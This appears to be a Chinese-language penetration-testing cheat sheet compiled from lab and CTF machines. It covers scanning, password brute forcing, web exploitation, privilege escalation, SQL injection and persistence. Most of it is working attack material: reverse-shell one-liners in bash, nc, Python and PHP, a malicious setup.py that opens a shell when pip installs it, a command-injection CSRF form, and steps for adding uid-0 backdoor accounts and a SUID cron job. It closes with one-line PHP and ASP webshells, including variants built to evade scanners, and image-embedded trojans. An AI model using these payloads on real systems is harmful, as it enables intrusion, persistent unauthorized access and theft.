渗透测试思路总结

渗透测试思路总结

kali安装问题

kali源需要数字签名

vim /etc/apt/apt.conf.d/70debconf
添加
Acquire::AllowInsecureRepositories "true";

更换kali源

deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib

查找目标

查找目标主机

n主机发现

//-sn的作用是使用ping扫描,同时禁止了端口扫描,加快扫描速度
//还可以指定端口,加快扫描速度
nmap -sn 192.168.0.0/24

//netdiscover发现主机
netdiscover -i eth0

//arp-scan
arp-scan -l

nmap扫描端口

//-sS:不必打开一个完整的TCP连接,只发送一个SYN包,就能做到打开连接的效果,然后等待对端的反应。如果对端返回SYN/ACK报文,则表示该端口处于监听状态,此时,扫描端则必须再返回一个RST报文来关闭此连接;返回RST报文表示该端口没有开放。
//-sT:它通过操作系统与目标机器建立连接,而不是直接发送原始数据包,无需root权限,但会在系统日志里留下记录
//-sN:根据RFC 793,更加隐秘
//-sF:只能用于linux
//-Pn:禁用PING检测:禁用ping检测
//-n:不做dns解析
//--open: 只输出检测状态为open的端口,即开放的端口
//--min-hostgroup 1024:调整并行扫描组的大小
//--min-parallelism 1024:调整探测报文的并行度
//--host-timeout 30:检测超时的跳过 
//-T4:总共有T0-T5,貌似T4比较折中
// -v:打印详细扫描过程
// -oG:输出为比较人性化的格式,一条记录一行,后期好处理
-iL:载入ip段文件,批量扫,不用一条条执行了。
nmap -sS -Pn -sV -O -A -p- -o nmap.scan 192.168.1.100
nmap -sV -p- 192.168.1.100

searchsploit的用法

//基本搜索会同时匹配标题和路径中的内容
searchsploit smb windows remote
//标题搜索只匹配标题,不会对路径中的关键词进行匹配
searchsploit -t smb windows remote
//使用--exclude=选项删除不想要的结果
searchsploit smb windows remote --exclude="(POC)|txt"
//利用管道输出(删除不想要的结果的另一种方法)
searchsploit smb windows remote | grep rb
//一些开发的元数据没有保存在本地,如果要访问他们,需要联网搜索
searchsploit eternalblue -w
//不建议在本地的漏洞数据库中修改exp,建议使用-m参数复制那些有用的到当前的工作目录
searchsploit -m 42315.py

密码字典生成

cewl根据网页内容生成字典

//-w write,写入目录
cewl -w dc2_passwords.txt http://dc-2

暴力破解

John的用法

john 密码文件

hydra的用法

https://www.cnblogs.com/bmjoker/p/9977881.html

hydra实现在线暴力破解

//-l:单个用户名
//-L:用户名文档
//-p:单个密码
//-P:密码文档
 hydra -l flag4 -P pass.txt ssh://172.21.204.36
// -s 端口
 hydra -s 7744 -l flag4 -P pass.txt 172.21.204.36 ssh

hydra实现网页暴力破解

//-l ——> 表示单个用户名(使用-L表示用户名列表)
//-P ——> 表示使用以下密码列表
// http-post-form ——> 表示表单的类型
// /dvwa/login-php ——> 是登录页面URL
// username ——> 是输入用户名的表单字段
// ^USER^ ——> 告诉Hydra使用字段中的用户名或列表
// password是输入密码的表单字段(可以是passwd,pass等)
// ^PASS^ ——> 告诉Hydra使用提供的密码列表
hydra -L username.txt -P dc2_passwords.txt dc-2 http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'


hydra -l username.txt -P /usr/share/wordlists/rockyou.txt 192.168.1.25 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F

hydra爆破网页详解

hydra -t 1 -l root -P cyzidian.txt -o out.txt -vV -f 58.155.106.35 http-post-form "/:username=^USER^&password=^PASS^:error"

-t 1 控制线程数 无此选项默认12线程,经过测试这个服务端线程开太多会无响应,所以在这里制定为1(大家应该自行尝试最佳线程数)。
-l root 指定单个用户名“root”。(可替换成-L 字典.txt来指定一系列用户名)
-P cyzidian.txt 指定密码字典cyzidian.txt(可替换成-p 密码 指定单个密码,一般不常用)。

-o out.txt 将尝试过程与结果保存到out.txt
-vV显示详细过程
-f 找到一个结果后停止
58.155.106.35 目标ip地址
http-post-form 使用http协议下的post方法进行破解
"/:username=^USER^&password=^PASS^:error" 最后这段字符串由三部分组成
最后一部分error是指定的判断密码是否正确的条件,默认是黑名单模式,也就是如果返回页面中存在”error“就说明这个密码不正确
由其中的两个冒号划分,第一部分只有一个”/“,是指定登录页面所在目录,这个例子刚好在根目录。第二部分:username=^USER^&password=^PASS^,由上文可知这就是刚刚在network中看到的POST提交的内容只是把用户名和密码部分换成了^USER^^PASS^。USER对应前面的-l 后跟的用户名root,PASS会被字典中的密码逐个替换。最后一部分error是指定的判断密码是否正确的条件,默认是黑名单模式,也就是如果返回页面中存在”error“就说明这个密码不正确,原因是我们在随便输入一个错误密码后,会看到页面中多了一个类为error的标签(如下图):

web页面信息获取

识别靶机web服务

whatweb http://192.168.220.136

drupal CMS管理器

#可以修改命令
cd /var/www/html/		drupal网站的根目录 
 
drush user-password admin --password="123456"

drupal 8 导入php模块(可以编辑php用于反弹shell)

#php模块包下载地址
https://www.drupal.org/project/php
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

Manage——>Extend——>List——>install new module


wordpress CMS管理器专业扫描器

枚举用户

//--enumerate u //枚举用户名
//-e等价于--enumerate
wpscan --url http://dc-2 --enumerate u

wpscan --ignore-main-redirect --url 192.168.1.100 --enumerate u --force		//可作为替代,当第一个无法访问时

wpscan暴力破解

wpscan --url http://dc-2 --enumerate -U username.txt -P dc2_passwords.txt --force

 wpscan --ignore-main-redirect --url 192.168.1.100 -U username.txt -P dc2_passwords.txt --force

wordpress漏洞管理后台activity monitor模块远程代码执行漏洞

searchsploit搜索漏洞

root@kali2:~/桌面/DC-6# searchsploit activity monitor
-------------------------------------------- ---------------------------------
 Exploit Title                              |  Path
-------------------------------------------- ---------------------------------
Activity Monitor 2002 2.6 - Remote Denial o | windows/dos/22690.c
RedHat Linux 6.0/6.1/6.2 - 'pam_console' Mo | linux/local/19900.c
WordPress Plugin Plainview Activity Monitor | php/webapps/45274.html
//将文件复制到当前目录
searchsploit -m activity monitor

//修改代码
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://wordy/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="ip" value="google.fr| nc -nlvp 192.168.1.12 1234 -e /bin/bash" />
      <input type="hidden" name="lookup" value="Lookup" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
//开启http服务
python -m SimpleHTTPServer 8080

//访问该链接
-------------------------------------------- ---------------------------------

Joomla CMS管理器专业扫描器

漏洞扫描

joomscan -u http://192.168.56.11/joomla/

常见web危险页面总结

/robots.txt		//记载爬虫不可访问的页面信息
/cron.php		//定时执行的代码

获取用户名密码信息

1、从控制台获取信息

可能包含用户名,密码,ssh-key,目录等信息

2、从robots.txt获取信息

可能包含用户名,密码,ssh-key,目录等信息

获取文件包含漏洞

可能有文件包含漏洞的代码

<!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->
//说明https://url/?lang=file

利用PHP协议构造payload得到index.php的源代码
php://filter/convert.base64-encode/resource=文件
php://filter/read=convert.base64-encode/resource=文件

php://filter协议的使用方法——参数说明

在这里插入图片描述

view-source:协议读取html源码

view-source:http://114.67.246.176:16736/1p.html

获取sql注入漏洞

获取XSS漏洞

访问受限

域名访问限制

解决方案一:添加域名解析

vim hosts
10.10.10.209 doctors.htb

获取或者反弹shell

从python命令行获取到shell(ssh登陆后得到的是python命令行)

//分布执行
import os
os.system("/bin/bash")
//一步执行
import os;os.system("/bin/bash")

使用python代码做反弹shell——写入拥有某个用户权限的py文件执行以后可以获得该用户shell

cat往文件中写入内容

cat >> file.txt << 内容
//写入文件或者一条条执行(**写入拥有某个用户权限的py文件执行以后可以获得该用户shell**)
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.17",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.17",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"])

xss漏洞中的反弹shell

<img src=http://10.10.14.3/$(nc.traditional$IFS-e$IFS/bin/bash$IFS'10.10.14.3'$IFS'1234')>

php 反弹shell(作为中转,进去以后再反弹一次得到交互式shell)

法1

<?php
	system("nc -e /bin/bash 10.10.16.128 4444");
?>

法2

<?php 
set_time_limit(0); 
$ip='192.168.1.12';
$port='5555';
$fp=@fsockopen($ip,$port,$errno,$errstr);
if(!$fp){echo "error";}
else{
	fputs($fp,"\n+++++++++++++connect sucess+++++++++\n");
	while(!feof($fp)){
	fputs($fp,"shell:");
	$shell=fgets($fp);
	$message=`$shell`;
	fputs($fp,$message);
	}
fclose($fp);
}
?>
========
1set_time_limit()来控制运行时间。如 set_time_limit(800) ,其中将秒数如果设为0 ,表示持续运行到程序结束。
2、$_POST['ip'] $_POST['port']表示传递的攻击的IP,PORT。
3、$fp=@fsockopen($ip,$port,$errno,$errstr); fsockopen — 打开一个网络连接或者一个Unix套接字连接,并且使用@屏蔽报错信息,返回一个文件句柄$fp,可以被其他文件类函数调用,例如代码中的fputs(),fgets()4、判断$fp是否存在,不存在报错echo "error",存在就使用fputs()函数写入连接成功信息。
5feof() 函数检查是否已到达文件末尾(EOF)。如果出错或者文件指针到了文件末尾(EOF)则返回 TRUE,否则返回 FALSE。使用while在不到读取的文件末尾时一直执行。
6fputs($fp,"shell:");向句柄输出shell:的提示
7、$shell=fgets($fp);将攻击机输入命令通过文件句柄$fp传递入受害机器,同时使用fget()函数读取输入的命令,最终传递给$shell变量存储。
8、$message=`$shell`;php默认将反单引号的内容作为系统命令执行。
9fputs($fp,$message);将结果输出至攻击机端显示。
10fclose($fp);关闭文件句柄。


军刀中的反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.11 1234 >/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.12 1234 >/tmp/f

bash -i >& /dev/tcp/192.168.1.10/4444 0>&1

bash -c 'sh -i &>/dev/tcp/192.168.1.12/1234 0>&1'
bash+-c+'sh+-i+%26>/dev/tcp/192.168.1.17/1234+0>%261'//%26绕过&

//nc反弹
nc 10.10.14.123 6666 -e /bin/bash
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.12 4444 >/tmp/f" >> /opt/scripts/backups.sh

python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/sbin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'

利用apache < 2.8.7漏洞获取shell

 Exploit Title                              |  Path
-------------------------------------------- ---------------------------------
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV | unix/remote/764.c
-------------------------------------------- ---------------------------------

//编译,安装libssl-dev库
apt-get install libssl-dev 安装编译需要的依赖

gcc 47080.c -o aaa -lcrypto //编译

./aaa | grep 2.4.*  //查看打入的参数

侦听反弹shell

nc侦听

nc -nvvlp 1234<端口>

获取交互式shell

python -c 'import os;os.system("/bin/bash")'
python -c 'import os;os.system("/sbin/bash")'
python -c 'import os;os.system("/bin/sh")'
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
 # In Kali 
$ stty raw -echo 
$ fg 

# In reverse shell 
$ reset


stty -echo #禁止回显,当在键盘上输入时,并不出现在屏幕上
stty echo #打开回显
stty raw #设置原始输入
stty -raw #关闭原始输入

bg
将一个在后台暂停的命令,变成继续执行

fg
将后台中的命令调至前台继续运行

jobs
查看当前有多少在后台运行的命令

ctrl + z
可以将一个正在前台执行的命令放到后台,并且暂停

clear
这个命令将会刷新屏幕,本质上只是让终端显示页向后翻了一页,如果向上滚动屏幕还可以看到之前的操作信息。
 
reset
这个命令将完全刷新终端屏幕,之前的终端输入操作信息将都会被清空

获取用户名和密码

从backup文件中获取密码和用户名

cat backup | grep username
cat backup | grep password

从/etc/*中获取密码

cat /etc/passwd //查看用户名
cat /etc/shadow //查看加密后的密码

文本操作

截取指定长度的行数

#截取rockyou.txt中密码长度超过8的密码形成新的密码字典wifi_password.txt
awk '{if(length()>=8){print}}' rockyou.txt > wifi_password.txt

查找有用的文件和文件中的信息

// -r 递归 -l只显示文件名 -i不区分大小写
grep -rn "pass" /    //作用是搜索所有包含pass字符串的文件
// -l代表查找文件名
grep -rl "password" /		//有用,但是又很多干扰
grep "pattern" 文件或者目录
grep -rni "password" / 2> /dev/null
grep -rni "password" /home 2> /dev/null
grep -rni "new user" /home 2> /dev/null
grep -rli "new user" /home 2> /dev/null

//将/目录下(包括子目录)的文件名中含有password的文件过滤出来,即使是当前目录子目录下的文件,也能被找出来。
===================================================
find / -name *password* 2>/dev/null  //最有效的方法
===================================================
find / -name *backup* 2>/dev/null
find / | grep password
find / | grep password | grep -v "denied" //将含有denied的提前显示相当于过虐了denied的
//将/目录下(包括子目录)的文件内容中含有luoluo的行过滤出来
find / | xargs grep luoluo

查看(危险)系统信息

查看普通系统信息

查看系统内核命令

uname -a
lsb_release -a
(cat /proc/version || uname -a ) 2>/dev/null

查看正在运行的内核版本

cat /proc/version
lsb_release -a

查看系统发行版信息

cat /etc/issue

查看可利用文件

//查看devops用户下的可利用文件
//-u=r的意思是有读取权限的文件
find / -user devops -perm -u=r -ls 2>/dev/null

查看有suid权限的命令

//s代表suid
find / -user root -perm -4000 -print 2>/dev/null
find / -type f -perm -u=s 2>/dev/null
find / -type f -perm -u=777 2>/dev/null
find / -perm -4000 2>/dev/null  //和第一条一样的效果

已知被操作文件,反查操作文件

//有文件在定时操作/tmp/test文件,反查操作它的文件
grep -r '/tmp/test' / 2>/dev/null

查看有sudo权限的命令(此处主要是可执行sudo权限的文件提权)

sudo -l

当某个文件可以免密执行时,使用如下命令执行代码

sudo -u 用户名 文件
sudo -u jens backups.sh

提权

软件漏洞提权

splunk服务提权

git clone https://github.com/cnotin/SplunkWhisperer2.git 复制到/htb/doctor文件夹下
cd SplunkWhisperer2/ 进入SplunkWhisperer2文件 
cd PySplunkWhisperer2/ 进入PySplunkWhisperer2文件 
chmod 777 PySplunkWhisperer2_remote.py 提权
//反弹shell
python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.3 --username shaun --password Guitar123 --payload " "nc.traditional -e /bin/bash '10.10.14.3' '8888'"

//接受shell
nc -lnvp 8888

//连接上以后获取交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

临时搭建http下载服务

python -m SimpleHTTPServer 8080

系统漏洞提权

内核提权

已知有漏洞的内核版本

Linux Kernel (Ubuntu / Fedora / RedHat) - 'Overl | linux/local/40688.rb
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/1 | linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/1 | linux/local/37293.txt
Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - 'overl | linux/local/39166.c
Linux Kernel 4.3.3 - 'overlayfs' Local Privilege | linux/local/39230.c
OverlayFS inode Security Checks - 'inode.c' Loca | linux/local/36571.sh
Ubuntu 14.04/15.10 - User Namespace Overlayfs Xa | linux/local/41762.txt
Ubuntu 15.10 - 'USERNS ' Overlayfs Over Fuse Pri | linux/local/41763.txt
Ubuntu 19.10 - ubuntu-aufs-modified mmap_region( | linux/dos/47692.txt

3.13.0版本的内核:precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux——利用overlayfs提权

//搜索exploit
root@kali2:~/桌面/cybersploit# searchsploit overlayfs
------------------------------------------------- ---------------------------------
 Exploit Title                                   |  Path
------------------------------------------------- ---------------------------------
Linux Kernel (Ubuntu / Fedora / RedHat) - 'Overl | linux/local/40688.rb
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/1 | linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/1 | linux/local/37293.txt
Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - 'overl | linux/local/39166.c
Linux Kernel 4.3.3 - 'overlayfs' Local Privilege | linux/local/39230.c
OverlayFS inode Security Checks - 'inode.c' Loca | linux/local/36571.sh
Ubuntu 14.04/15.10 - User Namespace Overlayfs Xa | linux/local/41762.txt
Ubuntu 15.10 - 'USERNS ' Overlayfs Over Fuse Pri | linux/local/41763.txt
Ubuntu 19.10 - ubuntu-aufs-modified mmap_region( | linux/dos/47692.txt
------------------------------------------------- ---------------------------------
Shellcodes: No Results
//查看exploit存储位置
root@kali2:~/桌面/cybersploit# searchsploit -p 37292
  Exploit: Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation
      URL: https://www.exploit-db.com/exploits/37292
     Path: /usr/share/exploitdb/exploits/linux/local/37292.c
File Type: C source, ASCII text, with very long lines, with CRLF line terminators


临时搭建http下载服务

python -m SimpleHTTPServer 8080

//将exploit代码下载到靶机上,编译运行
itsskv@cybersploit-CTF:~$ wget http://192.168.1.17:8080/37292.c
--2021-01-30 17:10:26--  http://192.168.1.17:8080/37292.c
Connecting to 192.168.1.17:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/plain]
Saving to: `37292.c'

100%[===================================================>] 5,119       --.-K/s   in 0s      

2021-01-30 17:10:26 (646 MB/s) - `37292.c' saved [5119/5119]

itsskv@cybersploit-CTF:~$ ls
37292.c  Documents  examples.desktop  get_root  Pictures  Templates
Desktop  Downloads  flag2.txt         Music     Public    Videos
itsskv@cybersploit-CTF:~$ gcc 37292.c -o get_root 
itsskv@cybersploit-CTF:~$ ls
37292.c  Documents  examples.desktop  get_root  Pictures  Templates
Desktop  Downloads  flag2.txt         Music     Public    Videos
itsskv@cybersploit-CTF:~$ ./get_root 
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# ls


teehee具有sudo权限提权

1:创建新的黑客账户提权

//创建一个新用户
echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
echo "hack::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
//参数解释
#如:admin:x:0:0::/home/admin:/bin/bash
#[用户名][密码][UID][GID][身份描述][主目录][登录shell]
"-a" 选项的作用等同于 ">>" 命令

2:使用定时脚本提权

/etc/crontab文件中写入新的定时任务。
时间部分全部填写为*,这样默认这个定时任务每分钟执行一次,
可以根据情况自行设定。通过执行的脚本将/bin/sh的权限修改为4777,
这样就可以在非root用户下执行它,并且执行期间拥有root权限。
echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab

pip具有sudo权限提权

sudo pip install scalation.py

from setuptools import setup
from setuptools.command.install import install
import os,socket,subprocess
 
 
class CustomInstall(install):
 
    def run(self):
        install.run(self)
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(("192.168.0.186",14580))
        os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        p=subprocess.call(["/bin/sh","-i"])
 
 
setup(name='FakePip',
      version='0.0.1',
      description='This will exploit a sudoer able to /usr/bin/pip install *',
      url='https://github.com/werneror',
      author='Werner',
      author_email='me@werner.wiki',
      license='MIT',
      zip_safe=False,
      cmdclass={'install': CustomInstall})

git具有sudo权限

使用git提权

sudo git -p help  //在最后可以输入

!/bin/bash

exim提权

//查看exim版本
/usr/sbin/exim4 --version
#Exim version 4.89 #2 built 14-Jun-2017 05:03:07
========================================================
Exim 4.87 - 4.91 - Local Privilege Escalati | linux/local/46996.sh
========================================================
转换格式:dos2unix 46996.sh
./46996.sh -m netcat //上传以后执行
========================================================
执行脚本的时候提示 “/bin/bash^M: bad interpreter: No such file or directory” 的错误是由于脚本文件是 dos 格式,即每一行结尾以 \r\n 来标识,而 unix 格式的文件结尾以 \n 来标识
解决办法:
1,dos2unix filename //将文件从dos改编为unix
2,使用sed命令sed -i "s/\r//" filename  或者 sed -i "s/^M//" 
3,filename直接替换结尾符为unix格式vi filename打开文件,执行 : set ff=unix 设置文件为unix,然后执行:wq,保存成unix格式。
========================================================

nmap提权

nmap提权方式1(老版本nmap才支持交互式)
nmap --interactive //进入交互模式

!sh
nmap提权方式2
echo 'os.execute("/bin/sh")' > getroot.nse
echo 'os.execute("/bin/bash")' > getroot.nse
nmap --script getroot.nse

vim.tiny提权

vim.tiny

:set shell=/bin/sh
:shell

bash提权

bash -p

Less/more提权

less /etc/passwd
!/bin/sh

系统命令提权

查看拥有指定权限的目录

find / -type d -perm 666 2>/dev/null

查看拥有suid权限的命令

find / -type f -perm -u=s 2>/dev/null

拥有suid权限的find命令提权

//验证find是否可以提权,getflag是随便创建的,目的是让find可以找到这个文件,进而继续执行后面的命令
find / -type f -name getflag -exec "whoami" \; //得到root
find / -type f -name getflag -exec "/bin/sh" \;
find / -type f -name getflag -exec "/bin/bash" \; //bash可能会失败

使用at命令提权

//设置定时任务
at 17:20 tomorrow
at>命令
at><EOT>
//查看任务atq

sudo提权

方法1

sudo awk 'BEGIN {system("/bin/bash")}'

利用vim工具,sudo vim打开后输入命令:!/bin/bash 即可

方法2

//影响版本Sudo 1.8.2 - 1.8.31p2    Sudo 1.9.0 - 1.9.5p1
sudoedit -s /
如果响应一个以sudoedit:开头的报错,那么表明存在漏洞。
如果响应一个以usage:开头的报错,那么表明补丁已经生效。
参考方式https://www.hackjie.com/1480.html

peas提权检测方案,超级流弊

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

c语言exploit编译方法

方法一gcc

//-lcrypto可以不要,当编译出错时可以加这个参数
gcc 源文件 -o 可执行文件 -lcrypto
gcc exploit.c -o exploit -lcrypto

修改文件内容的方法

cat实现文件改写

//方法一
cat "内容" > 文件
//方法二
cat >> 文件 << EOF
内容
EOF
//方法三
cat << EOF >文件
内容
EOF

绕过受限的shell,并配置环境变量让解除限制的shell可以使用命令

解除受限的shell

方法1:使用vi绕过受限的shell

用vi编辑器穿件shell文件
用vi的末行模式下输入 ——> :set shell=/bin/bash
然后应用这个shell ——> : shell

方法2:

BASH_CMDS[a]=/bin/sh;a
/bin/bash

配置环境变量

export PATH=$PATH:/bin/
//或者
export PATH=/usr/sbin:/usr/bin:/sbin:/bin

//或者
export PATH=/bin:/usr/bin:$PATH
export SHELL=/bin/bash:$SHELL

查看已配置的环境变量

export -p

SQL注入漏洞

SQL注入绕过技巧

https://www.cnblogs.com/yesec/p/12344786.html

Joomla的sql注入(3.7.0版本)

//URL Vulnerable: 
//updatexml%27这一部分是sql语句
http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27

//使用sqlmap
// --dbs列出数据库
// -p list[fullordering]指定测试参数为list[fullordering]
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
// --current-db当前网站使用的数据库                  
sqlmap -u "http://192.168.220.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering]
//查询指定数据库的表-D "joomladb"指定数据库 --tables查询表
sqlmap -u "http://192.168.1.24/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables  -p list[fullordering]

sqlmap -u "http://192.168.1.24/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns  -p list[fullordering]

sqlmap  -u "http://192.168.1.24/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump  -p list[fullordering]

//下面是payload
//Parameter: list[fullordering] (GET)
//    Type: boolean-based blind
//    Title: Boolean-based blind - Parameter replace (DUAL)
//    Payload: 
option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)
//    Type: error-based
//    Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
//    Payload: 
option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

//    Type: AND/OR time-based blind
//    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
//    Payload: 
option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)

sqlmap执行指定的sql语句方法

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell
//进入sql-shell,输入执行的sql语句回车,注意最后输入分号,输入q推出sql-shell
//更新数据库
UPDATE users SET pass='$1$tZeUJjTh$/6S7gKmPeuGscCTH/ToCC.' WHERE name='admin'
//插入数据
INSERT INTO users () VALUES ()

sqlmap上传文件到数据库

sqlmap -u "http://192.168.1.16/?nid=1" --file-write test.txt --file-dest "e:/hack.txt"

sqlmap -u "http://192.168.1.16/?nid=1" --file-write test.txt --file-dest "e:/hack.txt"

sqlmap用法

https://www.cnblogs.com/csnd/p/11807583.html

MD5|hash破解工具

超级好用
http://www.chamd5.org/

文件操作命令

分割txt文件(用于分割大字典为小字典)

split -6 README       #将README文件每六行分割成一个文件 
split -l 6 README       #将README文件每六行分割成一个文件 

维持

创建第二个root用户(第二个uid无法远程登陆,需要创建一个普通用户远程登陆以后再切换过去)

useradd hack5		//创建hack5

passwd hack5		//给hack5设置密码

usermod -g root hack5   //添加用户组

vi /etc/sudoers		//编辑sudors文件

修改etc/passwd的uid=0

##创建黑客用户(创建用户),写文件的方式

sed -i '1d' a.txt删首行		1d代表第一行2d代表第二行
sed -i '$d' b.txt删尾行


#如:admin:x:0:0::/home/admin:/bin/bash
#[用户名][密码][UID][GID][身份描述][主目录][登录shell]
root:x:0:0:root:/root:/bin/bash
echo "dc7:x:0:0:root:/home/dc7:/bin/bash" >> /etc/passwd
echo "dc8::0:0:root:/home/dc8:/bin/bash" >> /etc/passwd
//[UID]一定不能重复,斗则会导致登陆不上去
cat /etc/passwd

/etc/sudoers //添加sudo权限




[组名][密码][GID][该用户组中的用户列表]
root:x:0:hack4
/etc/group




#[用户名]:[加密密码]:[最后一次修改时间]:[最小修改时间间隔]:[密码有效期]:[密码需要变更前的警告天数]:[密码过期后的宽限天数]:[账号失效时间]:[忘记密码怎么办]
#最后一次修改时间:转化为能看懂的命令:date -d "1970-01-01 18660 days"
#密码有效期:99999代表永久有效
模板:root:$6$fdSIkGhL$Zz1Vkujc4AxSzYjtMf8CFoWOSP9pPLrg31j4Qv5qjRPCq8dsw.DjAeeGI34J2FtPuommd7m67moE4Sv3j.8Ol/:18660:0:99999:7:::

hack2:$6$spzQDWctb8Lmju0o$kvYlo9capZrsR6n4VMvRLOi2d9Wo5NUxbfUHykQG9NZPg0yGYYsPmEZssfXEweSd07rft6EjGgs4GMvDbsES9/:18660:0:99999:7:::

========最好用的生成密码风法=====================
perl -e 'print crypt("123456",q($6$fdSIkGhL)),"\n"'
==============================================

========
以下时生成密码部分
=========================
openssl passwd -1 '123456'
openssl passwd -1 -salt 'abcdefg' '123456'
=========================
但openssl passwd不支持生成sha-256和sha-512算法的密码。在CentOS 6上,可以借助grub提供的密码生成工具grub-crypt生成。
================================
grub-crypt --sha-512	//用于cent os6
=================================

=====================================centos 7
#密码生成方式1:交互式
python -c 'import crypt,getpass;salt="$1$g4KcQcnM";pw=getpass.getpass();print(crypt.crypt(pw,salt) if (pw==getpass.getpass("Confirm: ")) else exit())'
#密码生成方式2:非交互式
python -c 'import crypt,getpass;pw="123456";salt="$1$g4KcQcnM";print(crypt.crypt(pw,salt))'

python -c 'import crypt,getpass;pw="123456";salt="$1$g4KcQcnM";print(salt+crypt.crypt(pw,salt))'
=========================================

echo "dc7:$6$fdSIkGhL$Yfc0oy04Ac8CE.tD1CLC/IFD/oscHVyzSUseRpxGJyDVZqmSYe.aIHrWEPnxq6E9bvohGCq3tDLO1lQOvdASN1:18660:0:99999:7:::" >> /etc/shadow

cat /etc/shadow

重启用ssh服务

修改/etc/ssh/ssh_config文件
systemctl restart sshd.service

木马

一句话木马

<?php
	system("nc -e /bin/bash 10.10.16.128 4444");
?>

//php
<?php @eval($_POST["value"]);?>

//asp
<%execute(request("value"))%>

//aspx
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>

//其他
<%eval request("value")%>  
<%execute request("value")%>  
<%execute(request("value"))%>  
<%If Request("value")<>"" Then Execute(Request("value"))%>  <%if request ("value")<>""then session("value")=request("value"):end if:if session("value")<>"" then execute session("value")%>  
<SCRIPT language=VBScript runat="server">execute request("value")</SCRIPT>  
<%@ Page Language="Jscript"%>  <%eval(Request.Item["value"],"unsafe");%>   
可以躲过雷客图的一句话木马:  
<%  set ms = server.CreateObject("MSScriptControl.ScriptControl.1")  ms.Language="VBScript"  ms.AddObject "Response", Response  ms.AddObject "request", request  ms.ExecuteStatement("ev"&"al(request(""value""))")  %>  
不用'<,>'的asp一句话木马:  
<script language=VBScript runat=server>execute request("value")</script>   
不用双引号的一句话木马:  
<%eval request(chr(35))%>

图片木马

windows环境制作木马之copy命令

copy image.png/b + muma.php picmuma.png

linux环境制作木马之cat命令

cat image.png muma.php > picmumu.png

查看脚本文件是dos格式还是unix格式的几种办法

cat -A filename  从显示结果可以判断,dos格式的文件行尾为^M$,unix格式的文件行尾为$。
